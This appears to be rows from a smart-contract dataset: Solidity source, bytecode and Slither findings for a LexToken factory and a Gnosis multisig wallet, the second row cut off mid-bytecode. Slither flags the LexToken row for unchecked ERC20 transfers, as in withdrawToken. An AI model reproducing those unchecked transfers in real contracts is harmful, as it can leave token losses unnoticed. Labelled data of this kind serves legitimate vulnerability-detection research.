address
stringlengths
42
42
source_code
stringlengths
6.9k
125k
bytecode
stringlengths
2
49k
slither
stringclasses
664 values
id
int64
0
10.7k
0x36ff3d31b1227fc0e3da3e18983ea85c2643ecf6
/* ██╗ ███████╗██╗ ██╗ ██║ ██╔════╝╚██╗██╔╝ ██║ █████╗ ╚███╔╝ ██║ ██╔══╝ ██╔██╗ ███████╗███████╗██╔╝ ██╗ ╚══════╝╚══════╝╚═╝ ╚═╝ ████████╗ ██████╗ ██╗ ██╗███████╗███╗ ██╗ ╚══██╔══╝██╔═══██╗██║ ██╔╝██╔════╝████╗ ██║ ██║ ██║ ██║█████╔╝ █████╗ ██╔██╗ ██║ ██║ ██║ ██║██╔═██╗ ██╔══╝ ██║╚██╗██║ ██║ ╚██████╔╝██║ ██╗███████╗██║ ╚████║ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═══╝ DEAR MSG.SENDER(S): / LexToken is a project in beta. // Please audit and use at your own risk. /// Entry into LexToken shall not create an attorney/client relationship. //// Likewise, LexToken should not be construed as legal advice or replacement for professional counsel. ///// STEAL THIS C0D3SL4W ////// presented by LexDAO LLC */ // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity 0.7.4; interface IERC20 { // brief interface for erc20 token function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); } library SafeMath { // arithmetic wrapper for unit under/overflow check function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } } contract LexToken { using SafeMath for uint256; address payable public manager; // account managing token rules & sale - see 'Manager Functions' - updateable by manager uint8 public decimals; // fixed unit scaling factor - default 18 to match ETH uint256 public saleRate; // rate of token purchase when sending ETH to contract - e.g., 10 saleRate returns 10 token per 1 ETH - updateable by manager uint256 public totalSupply; // tracks outstanding token mint - mint updateable by manager uint256 public totalSupplyCap; // maximum of token mintable bytes32 public DOMAIN_SEPARATOR; // eip-2612 permit() pattern - hash identifies contract bytes32 constant public PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); // eip-2612 permit() pattern - hash identifies function for signature string public details; // details token offering, redemption, etc. - updateable by manager string public name; // fixed token name string[]public offers; // offers made for token redemption - updateable by manager string public symbol; // fixed token symbol bool public forSale; // status of token sale - e.g., if `false`, ETH sent to token address will not return token per saleRate - updateable by manager bool private initialized; // internally tracks token deployment under eip-1167 proxy pattern bool public transferable; // transferability of token - does not affect token sale - updateable by manager mapping(address => mapping(address => uint256)) public allowances; mapping(address => uint256) public balanceOf; mapping(address => uint256) public nonces; event AddOffer(uint256 index, string terms); event AmendOffer(uint256 index, string terms); event Approval(address indexed owner, address indexed spender, uint256 value); event Redeem(string redemption); event Transfer(address indexed from, address indexed to, uint256 value); event UpdateGovernance(address indexed manager, string details); event UpdateSale(uint256 saleRate, uint256 saleSupply, bool burnToken, bool forSale); event UpdateTransferability(bool transferable); function init( address payable _manager, uint8 _decimals, uint256 _managerSupply, uint256 _saleRate, uint256 _saleSupply, uint256 _totalSupplyCap, string calldata _details, string calldata _name, string calldata _symbol, bool _forSale, bool _transferable ) external { require(!initialized, "initialized"); manager = _manager; decimals = _decimals; saleRate = _saleRate; totalSupplyCap = _totalSupplyCap; details = _details; name = _name; symbol = _symbol; forSale = _forSale; initialized = true; transferable = _transferable; if (_managerSupply > 0) {_mint(_manager, _managerSupply);} if (_saleSupply > 0) {_mint(address(this), _saleSupply);} if (_forSale) {require(_saleRate > 0, "_saleRate = 0");} // eip-2612 permit() pattern: uint256 chainId; assembly {chainId := chainid()} DOMAIN_SEPARATOR = keccak256(abi.encode( keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"), keccak256(bytes(name)), keccak256(bytes("1")), chainId, address(this))); } function _approve(address owner, address spender, uint256 value) internal { allowances[owner][spender] = value; emit Approval(owner, spender, value); } function approve(address spender, uint256 value) external returns (bool) { _approve(msg.sender, spender, value); return true; } function _burn(address from, uint256 value) internal { balanceOf[from] = balanceOf[from].sub(value); totalSupply = totalSupply.sub(value); emit Transfer(from, address(0), value); } function burn(uint256 value) external { _burn(msg.sender, value); } function burnFrom(address from, uint256 value) external { _approve(from, msg.sender, allowances[from][msg.sender].sub(value)); _burn(from, value); } function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) { _approve(msg.sender, spender, allowances[msg.sender][spender].sub(subtractedValue)); return true; } function increaseAllowance(address spender, uint256 addedValue) external returns (bool) { _approve(msg.sender, spender, allowances[msg.sender][spender].add(addedValue)); return true; } // Adapted from https://github.com/albertocuestacanada/ERC20Permit/blob/master/contracts/ERC20Permit.sol function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external { require(block.timestamp <= deadline, "expired"); bytes32 hashStruct = keccak256(abi.encode( PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline)); bytes32 hash = keccak256(abi.encodePacked( '\x19\x01', DOMAIN_SEPARATOR, hashStruct)); address signer = ecrecover(hash, v, r, s); require(signer != address(0) && signer == owner, "!signer"); _approve(owner, spender, value); } function purchase() external payable { // SALE require(forSale, "!forSale"); (bool success, ) = manager.call{value: msg.value}(""); require(success, "!ethCall"); _transfer(address(this), msg.sender, msg.value.mul(saleRate)); } receive() external payable { // SALE require(forSale, "!forSale"); (bool success, ) = manager.call{value: msg.value}(""); require(success, "!ethCall"); _transfer(address(this), msg.sender, msg.value.mul(saleRate)); } function redeem(uint256 value, string calldata redemption) external { // burn token with redemption message _burn(msg.sender, value); emit Redeem(redemption); } function _transfer(address from, address to, uint256 value) internal { balanceOf[from] = balanceOf[from].sub(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(from, to, value); } function transfer(address to, uint256 value) external returns (bool) { require(transferable, "!transferable"); _transfer(msg.sender, to, value); return true; } function transferBatch(address[] calldata to, uint256[] calldata value) external { require(to.length == value.length, "!to/value"); require(transferable, "!transferable"); for (uint256 i = 0; i < to.length; i++) { _transfer(msg.sender, to[i], value[i]); } } function transferFrom(address from, address to, uint256 value) external returns (bool) { require(transferable, "!transferable"); _approve(from, msg.sender, allowances[from][msg.sender].sub(value)); _transfer(from, to, value); return true; } /**************** MANAGER FUNCTIONS ****************/ modifier onlyManager { require(msg.sender == manager, "!manager"); _; } function addOffer(string calldata offer) external onlyManager { offers.push(offer); emit AddOffer(offers.length-1, offer); } function amendOffer(uint256 index, string calldata offer) external onlyManager { offers[index] = offer; emit AmendOffer(index, offer); } function _mint(address to, uint256 value) internal { require(totalSupply.add(value) <= totalSupplyCap, "capped"); balanceOf[to] = balanceOf[to].add(value); totalSupply = totalSupply.add(value); emit Transfer(address(0), to, value); } function mint(address to, uint256 value) external onlyManager { _mint(to, value); } function mintBatch(address[] calldata to, uint256[] calldata value) external onlyManager { require(to.length == value.length, "!to/value"); for (uint256 i = 0; i < to.length; i++) { _mint(to[i], value[i]); } } function updateGovernance(address payable _manager, string calldata _details) external onlyManager { manager = _manager; details = _details; emit UpdateGovernance(_manager, _details); } function updateSale(uint256 _saleRate, uint256 _saleSupply, bool _burnToken, bool _forSale) external onlyManager { saleRate = _saleRate; forSale = _forSale; if (_saleSupply > 0 && _burnToken) {_burn(address(this), _saleSupply);} if (_saleSupply > 0 && !_burnToken) {_mint(address(this), _saleSupply);} if (_forSale) {require(_saleRate > 0, "_saleRate = 0");} emit UpdateSale(_saleRate, _saleSupply, _burnToken, _forSale); } function updateTransferability(bool _transferable) external onlyManager { transferable = _transferable; emit UpdateTransferability(_transferable); } function withdrawToken(address[] calldata token, address[] calldata withdrawTo, uint256[] calldata value, bool max) external onlyManager { // withdraw token sent to contract require(token.length == withdrawTo.length && token.length == value.length, "!token/withdrawTo/value"); for (uint256 i = 0; i < token.length; i++) { uint256 withdrawalValue = value[i]; if (max) {withdrawalValue = IERC20(token[i]).balanceOf(address(this));} IERC20(token[i]).transfer(withdrawTo[i], withdrawalValue); } } } /* The MIT License (MIT) Copyright (c) 2018 Murray Software, LLC. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ contract CloneFactory { function createClone(address payable target) internal returns (address payable result) { // eip-1167 proxy pattern adapted for payable lexToken bytes20 targetBytes = bytes20(target); assembly { let clone := mload(0x40) mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(clone, 0x14), targetBytes) mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) result := create(0, clone, 0x37) } } } contract LexTokenFactory is CloneFactory { address payable public lexDAO; // account managing lexToken factory address public lexDAOtoken; // token for user rewards address payable immutable public template; // fixed template for lexToken using eip-1167 proxy pattern uint256 public userReward; // reward amount granted to lexToken users string public details; // general details re: lexToken factory string[]public marketTerms; // market terms stamped by lexDAO for lexToken issuance (not legal advice!) mapping(address => address[]) public lextoken; event AddMarketTerms(uint256 index, string terms); event AmendMarketTerms(uint256 index, string terms); event LaunchLexToken(address indexed lexToken, address indexed manager, uint256 saleRate, bool forSale); event UpdateGovernance(address indexed lexDAO, address indexed lexDAOtoken, uint256 userReward, string details); constructor(address payable _lexDAO, address _lexDAOtoken, address payable _template, uint256 _userReward, string memory _details) { lexDAO = _lexDAO; lexDAOtoken = _lexDAOtoken; template = _template; userReward = _userReward; details = _details; } function launchLexToken( address payable _manager, uint8 _decimals, uint256 _managerSupply, uint256 _saleRate, uint256 _saleSupply, uint256 _totalSupplyCap, string memory _details, string memory _name, string memory _symbol, bool _forSale, bool _transferable ) external payable returns (address) { LexToken lex = LexToken(createClone(template)); lex.init( _manager, _decimals, _managerSupply, _saleRate, _saleSupply, _totalSupplyCap, _details, _name, _symbol, _forSale, _transferable); lextoken[_manager].push(address(lex)); // push initial manager to array if (msg.value > 0) {(bool success, ) = lexDAO.call{value: msg.value}(""); require(success, "!ethCall");} // transfer ETH to lexDAO if (userReward > 0) {IERC20(lexDAOtoken).transfer(msg.sender, userReward);} // grant user reward emit LaunchLexToken(address(lex), _manager, _saleRate, _forSale); return(address(lex)); } function getLexTokenCountPerAccount(address account) external view returns (uint256) { return lextoken[account].length; } function getLexTokenPerAccount(address account) external view returns (address[] memory) { return lextoken[account]; } function getMarketTermsCount() external view returns (uint256) { return marketTerms.length; } /*************** LEXDAO FUNCTIONS ***************/ modifier onlyLexDAO { require(msg.sender == lexDAO, "!lexDAO"); _; } function addMarketTerms(string calldata terms) external onlyLexDAO { marketTerms.push(terms); emit AddMarketTerms(marketTerms.length-1, terms); } function amendMarketTerms(uint256 index, string calldata terms) external onlyLexDAO { marketTerms[index] = terms; emit AmendMarketTerms(index, terms); } function updateGovernance(address payable _lexDAO, address _lexDAOtoken, uint256 _userReward, string calldata _details) external onlyLexDAO { lexDAO = _lexDAO; lexDAOtoken = _lexDAOtoken; userReward = _userReward; details = _details; emit UpdateGovernance(_lexDAO, _lexDAOtoken, _userReward, _details); } }
0x6080604052600436106100dd5760003560e01c8063858d6aa41161007f578063a994ee2d11610059578063a994ee2d146105dd578063b6d712fb146105f2578063d7a57ce514610607578063e5a6c28f14610689576100dd565b8063858d6aa41461047a5780638976263d146104fd578063a6d5752614610598576100dd565b80635d22b72c116100bb5780635d22b72c146101c75780635f14f772146103af5780636f2ddd93146103e857806371190e4b146103fd576100dd565b80630c2ecfb6146100e25780634f411f7b14610181578063565974d3146101b2575b600080fd5b3480156100ee57600080fd5b5061010c6004803603602081101561010557600080fd5b503561069e565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014657818101518382015260200161012e565b50505050905090810190601f1680156101735780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018d57600080fd5b50610196610747565b604080516001600160a01b039092168252519081900360200190f35b3480156101be57600080fd5b5061010c610756565b61019660048036036101608110156101de57600080fd5b6001600160a01b038235169160ff6020820135169160408201359160608101359160808201359160a08101359181019060e0810160c0820135600160201b81111561022857600080fd5b82018360208201111561023a57600080fd5b803590602001918460018302840111600160201b8311171561025b57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b8111156102ad57600080fd5b8201836020820111156102bf57600080fd5b803590602001918460018302840111600160201b831117156102e057600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561033257600080fd5b82018360208201111561034457600080fd5b803590602001918460018302840111600160201b8311171561036557600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505050508035151591506020013515156107b1565b3480156103bb57600080fd5b50610196600480360360408110156103d257600080fd5b506001600160a01b038135169060200135610b87565b3480156103f457600080fd5b50610196610bbf565b34801561040957600080fd5b506104786004803603602081101561042057600080fd5b810190602081018135600160201b81111561043a57600080fd5b82018360208201111561044c57600080fd5b803590602001918460018302840111600160201b8311171561046d57600080fd5b509092509050610be3565b005b34801561048657600080fd5b506104ad6004803603602081101561049d57600080fd5b50356001600160a01b0316610cde565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156104e95781810151838201526020016104d1565b505050509050019250505060405180910390f35b34801561050957600080fd5b506104786004803603608081101561052057600080fd5b6001600160a01b03823581169260208101359091169160408201359190810190608081016060820135600160201b81111561055a57600080fd5b82018360208201111561056c57600080fd5b803590602001918460018302840111600160201b8311171561058d57600080fd5b509092509050610d54565b3480156105a457600080fd5b506105cb600480360360208110156105bb57600080fd5b50356001600160a01b0316610e62565b60408051918252519081900360200190f35b3480156105e957600080fd5b50610196610e7d565b3480156105fe57600080fd5b506105cb610e8c565b34801561061357600080fd5b506104786004803603604081101561062a57600080fd5b81359190810190604081016020820135600160201b81111561064b57600080fd5b82018360208201111561065d57600080fd5b803590602001918460018302840111600160201b8311171561067e57600080fd5b509092509050610e92565b34801561069557600080fd5b506105cb610f6f565b600481815481106106ae57600080fd5b600091825260209182902001805460408051601f600260001961010060018716150201909416939093049283018590048502810185019091528181529350909183018282801561073f5780601f106107145761010080835404028352916020019161073f565b820191906000526020600020905b81548152906001019060200180831161072257829003601f168201915b505050505081565b6000546001600160a01b031681565b6003805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561073f5780601f106107145761010080835404028352916020019161073f565b6000806107dd7f00000000000000000000000004220cb64879a6196b5d57e7f54663b7e0136b41610f75565b9050806001600160a01b0316637a0c21ee8e8e8e8e8e8e8e8e8e8e8e6040518c63ffffffff1660e01b8152600401808c6001600160a01b031681526020018b60ff1681526020018a815260200189815260200188815260200187815260200180602001806020018060200186151581526020018515158152602001848103845289818151815260200191508051906020019080838360005b8381101561088d578181015183820152602001610875565b50505050905090810190601f1680156108ba5780820380516001836020036101000a031916815260200191505b5084810383528851815288516020918201918a019080838360005b838110156108ed5781810151838201526020016108d5565b50505050905090810190601f16801561091a5780820380516001836020036101000a031916815260200191505b50848103825287518152875160209182019189019080838360005b8381101561094d578181015183820152602001610935565b50505050905090810190601f16801561097a5780820380516001836020036101000a031916815260200191505b509e505050505050505050505050505050600060405180830381600087803b1580156109a557600080fd5b505af11580156109b9573d6000803e3d6000fd5b505050506001600160a01b038d811660009081526005602090815260408220805460018101825590835291200180546001600160a01b0319169183169190911790553415610a9657600080546040516001600160a01b039091169034908381818185875af1925050503d8060008114610a4e576040519150601f19603f3d011682016040523d82523d6000602084013e610a53565b606091505b5050905080610a94576040805162461bcd60e51b815260206004820152600860248201526708595d1a10d85b1b60c21b604482015290519081900360640190fd5b505b60025415610b22576001546002546040805163a9059cbb60e01b81523360048201526024810192909252516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b158015610af557600080fd5b505af1158015610b09573d6000803e3d6000fd5b505050506040513d6020811015610b1f57600080fd5b50505b8c6001600160a01b0316816001600160a01b03167f176531a4d8afdce919b7d31d8cfd2b6d7a2787ef70e6fc44d338bce7a6a080e68c876040518083815260200182151581526020019250505060405180910390a39c9b505050505050505050505050565b60056020528160005260406000208181548110610ba357600080fd5b6000918252602090912001546001600160a01b03169150829050565b7f00000000000000000000000004220cb64879a6196b5d57e7f54663b7e0136b4181565b6000546001600160a01b03163314610c2c576040805162461bcd60e51b8152602060048201526007602482015266216c657844414f60c81b604482015290519081900360640190fd5b60048054600181018255600091909152610c69907f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b018383610fc7565b507fcb08c4eb330ef67578d7cb86131f93d0de8d3dbd965167f9a31d3beedc973921600160048054905003838360405180848152602001806020018281038252848482818152602001925080828437600083820152604051601f909101601f1916909201829003965090945050505050a15050565b6001600160a01b038116600090815260056020908152604091829020805483518184028101840190945280845260609392830182828015610d4857602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610d2a575b50505050509050919050565b6000546001600160a01b03163314610d9d576040805162461bcd60e51b8152602060048201526007602482015266216c657844414f60c81b604482015290519081900360640190fd5b600080546001600160a01b038088166001600160a01b03199283161790925560018054928716929091169190911790556002839055610dde60038383610fc7565b50836001600160a01b0316856001600160a01b03167fc16022c45ae27eef14066d63387483d5bb50365e714b01775bf4769d05470a5985858560405180848152602001806020018281038252848482818152602001925080828437600083820152604051601f909101601f1916909201829003965090945050505050a35050505050565b6001600160a01b031660009081526005602052604090205490565b6001546001600160a01b031681565b60045490565b6000546001600160a01b03163314610edb576040805162461bcd60e51b8152602060048201526007602482015266216c657844414f60c81b604482015290519081900360640190fd5b818160048581548110610eea57fe5b906000526020600020019190610f01929190610fc7565b507f63eeabb7a8f9739511c604ee8c971ebbc179c3eafeadc687574c1d5afd8699f783838360405180848152602001806020018281038252848482818152602001925080828437600083820152604051601f909101601f1916909201829003965090945050505050a1505050565b60025481565b6000808260601b9050604051733d602d80600a3d3981f3363d3d373d3d3d363d7360601b81528160148201526e5af43d82803e903d91602b57fd5bf360881b60288201526037816000f0949350505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282610ffd5760008555611043565b82601f106110165782800160ff19823516178555611043565b82800160010185558215611043579182015b82811115611043578235825591602001919060010190611028565b5061104f929150611053565b5090565b5b8082111561104f576000815560010161105456fea26469706673582212201ce246ed0622b46c0ade7fe0656ae575092674dfe3b6d62cfa9099d7bae90b0b64736f6c63430007040033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
1,300
0x3d27795d8ade923a54e85237b9aed92100955c26
/** *Submitted for verification at Etherscan.io on 2021-12-13 */ pragma solidity ^0.5.0; /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <[email protected]> contract MultiSigWallet { /* * Events */ event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); /* * Constants */ uint constant public MAX_OWNER_COUNT = 50; /* * Storage */ mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } /* * Modifiers */ modifier onlyWallet() { require(msg.sender == address(this)); _; } modifier ownerDoesNotExist(address owner) { require(!isOwner[owner]); _; } modifier ownerExists(address owner) { require(isOwner[owner]); _; } modifier transactionExists(uint transactionId) { require(transactions[transactionId].destination != address(0)); _; } modifier confirmed(uint transactionId, address owner) { require(confirmations[transactionId][owner]); _; } modifier notConfirmed(uint transactionId, address owner) { require(!confirmations[transactionId][owner]); _; } modifier notExecuted(uint transactionId) { require(!transactions[transactionId].executed); _; } modifier notNull(address _address) { require(_address != address(0)); _; } modifier validRequirement(uint ownerCount, uint _required) { require(ownerCount <= MAX_OWNER_COUNT && _required <= ownerCount && _required != 0 && ownerCount != 0); _; } /// @dev Fallback function allows to deposit ether. function() external payable { if (msg.value > 0) emit Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. constructor (address[] memory _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i = 0; i < _owners.length; i++) { require(!isOwner[_owners[i]] && _owners[i] != address(0)); isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); emit OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i = 0; i < owners.length - 1; i++) if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } owners.length -= 1; if (required > owners.length) changeRequirement(owners.length); emit OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param newOwner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i = 0; i < owners.length; i++) if (owners[i] == owner) { owners[i] = newOwner; break; } isOwner[owner] = false; isOwner[newOwner] = true; emit OwnerRemoval(owner); emit OwnerAddition(newOwner); } /// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet. /// @param _required Number of required confirmations. function changeRequirement(uint _required) public onlyWallet validRequirement(owners.length, _required) { required = _required; emit RequirementChange(_required); } /// @dev Allows an owner to submit and confirm a transaction. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function submitTransaction(address destination, uint value, bytes memory data) public returns (uint transactionId) { transactionId = addTransaction(destination, value, data); confirmTransaction(transactionId); } /// @dev Allows an owner to confirm a transaction. /// @param transactionId Transaction ID. function confirmTransaction(uint transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; emit Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } /// @dev Allows an owner to revoke a confirmation for a transaction. /// @param transactionId Transaction ID. function revokeConfirmation(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; emit Revocation(msg.sender, transactionId); } /// @dev Allows anyone to execute a confirmed transaction. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction storage txn = transactions[transactionId]; txn.executed = true; if (external_call(txn.destination, txn.value, txn.data.length, txn.data)) emit Execution(transactionId); else { emit ExecutionFailure(transactionId); txn.executed = false; } } } // call has been separated into its own function in order to take advantage // of the Solidity's code generator to produce a loop that copies tx.data into memory. function external_call(address destination, uint value, uint dataLength, bytes memory data) internal returns (bool) { bool result; assembly { let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention) let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that result := call( sub(gas, 34710), // 34710 is the value that solidity is currently emitting // It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) + // callNewAccountGas (25000, in case the destination address does not exist and needs creating) destination, value, d, dataLength, // Size of the input (in bytes) - this is what fixes the padding problem x, 0 // Output is ignored, therefore the output size is zero ) } return result; } /// @dev Returns the confirmation status of a transaction. /// @param transactionId Transaction ID. /// @return Confirmation status. function isConfirmed(uint transactionId) public view returns (bool) { uint count = 0; for (uint i = 0; i < owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; if (count == required) return true; } } /* * Internal functions */ /// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function addTransaction(address destination, uint value, bytes memory data) internal notNull(destination) returns (uint transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({ destination: destination, value: value, data: data, executed: false }); transactionCount += 1; emit Submission(transactionId); } /* * Web3 call functions */ /// @dev Returns number of confirmations of a transaction. /// @param transactionId Transaction ID. /// @return Number of confirmations. function getConfirmationCount(uint transactionId) public view returns (uint count) { for (uint i = 0; i < owners.length; i++) if (confirmations[transactionId][owners[i]]) count += 1; } /// @dev Returns total number of transactions after filers are applied. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Total number of transactions after filters are applied. function getTransactionCount(bool pending, bool executed) public view returns (uint count) { for (uint i = 0; i < transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) count += 1; } /// @dev Returns list of owners. /// @return List of owner addresses. function getOwners() public view returns (address[] memory) { return owners; } /// @dev Returns array with owner addresses, which confirmed transaction. /// @param transactionId Transaction ID. /// @return Returns array of owner addresses. function getConfirmations(uint transactionId) public view returns (address[] memory _confirmations) { address[] memory confirmationsTemp = new address[](owners.length); uint count = 0; uint i; for (i = 0; i < owners.length; i++) if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } _confirmations = new address[](count); for (i = 0; i < count; i++) _confirmations[i] = confirmationsTemp[i]; } /// @dev Returns list of transaction IDs in defined range. /// @param from Index start position of transaction array. /// @param to Index end position of transaction array. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Returns array of transaction IDs. function getTransactionIds(uint from, uint to, bool pending, bool executed) public view returns (uint[] memory _transactionIds) { uint[] memory transactionIdsTemp = new uint[](transactionCount); uint count = 0; uint i; for (i = 0; i < transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) { transactionIdsTemp[count] = i; count += 1; } _transactionIds = new uint[](to - from); for (i = from; i < to; i++) _transactionIds[i - from] = transactionIdsTemp[i]; } }
0x60806040526004361061012a5760003560e01c8063a0e67e2b116100ab578063c01a8c841161006f578063c01a8c84146107c4578063c6427474146107ff578063d74f8edd14610905578063dc8452cd14610930578063e20056e61461095b578063ee22610b146109cc5761012a565b8063a0e67e2b146105b0578063a8abe69a1461061c578063b5dc40c3146106ce578063b77bf6001461075e578063ba51a6df146107895761012a565b806354741525116100f257806354741525146103675780637065cb48146103c4578063784547a7146104155780638b51d13f146104685780639ace38c2146104b75761012a565b8063025e7c2714610184578063173825d9146101ff57806320ea8d86146102505780632f54bf6e1461028b5780633411c81c146102f4575b6000341115610182573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b005b34801561019057600080fd5b506101bd600480360360208110156101a757600080fd5b8101908080359060200190929190505050610a07565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561020b57600080fd5b5061024e6004803603602081101561022257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a43565b005b34801561025c57600080fd5b506102896004803603602081101561027357600080fd5b8101908080359060200190929190505050610cd1565b005b34801561029757600080fd5b506102da600480360360208110156102ae57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e73565b604051808215151515815260200191505060405180910390f35b34801561030057600080fd5b5061034d6004803603604081101561031757600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e93565b604051808215151515815260200191505060405180910390f35b34801561037357600080fd5b506103ae6004803603604081101561038a57600080fd5b81019080803515159060200190929190803515159060200190929190505050610ec2565b6040518082815260200191505060405180910390f35b3480156103d057600080fd5b50610413600480360360208110156103e757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f54565b005b34801561042157600080fd5b5061044e6004803603602081101561043857600080fd5b8101908080359060200190929190505050611167565b604051808215151515815260200191505060405180910390f35b34801561047457600080fd5b506104a16004803603602081101561048b57600080fd5b810190808035906020019092919050505061124c565b6040518082815260200191505060405180910390f35b3480156104c357600080fd5b506104f0600480360360208110156104da57600080fd5b8101908080359060200190929190505050611315565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018060200183151515158152602001828103825284818151815260200191508051906020019080838360005b83811015610572578082015181840152602081019050610557565b50505050905090810190601f16801561059f5780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b3480156105bc57600080fd5b506105c561140a565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106085780820151818401526020810190506105ed565b505050509050019250505060405180910390f35b34801561062857600080fd5b506106776004803603608081101561063f57600080fd5b81019080803590602001909291908035906020019092919080351515906020019092919080351515906020019092919050505061149856